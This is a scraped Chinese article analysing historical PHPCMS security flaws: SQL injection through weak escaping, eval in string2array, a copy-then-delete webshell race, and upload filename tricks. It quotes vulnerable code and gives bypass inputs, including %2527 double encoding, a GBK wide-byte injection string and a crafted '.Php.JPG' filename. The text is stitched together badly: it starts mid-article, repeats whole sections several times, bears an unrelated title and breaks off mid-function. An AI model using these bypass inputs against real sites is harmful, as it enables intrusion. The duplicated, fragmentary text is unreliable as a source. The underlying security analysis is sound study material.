$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS 查看全部
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
网站优化 • 优采云 发表了文章 • 0 个评论 • 68 次浏览 • 2022-06-11 10:13
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
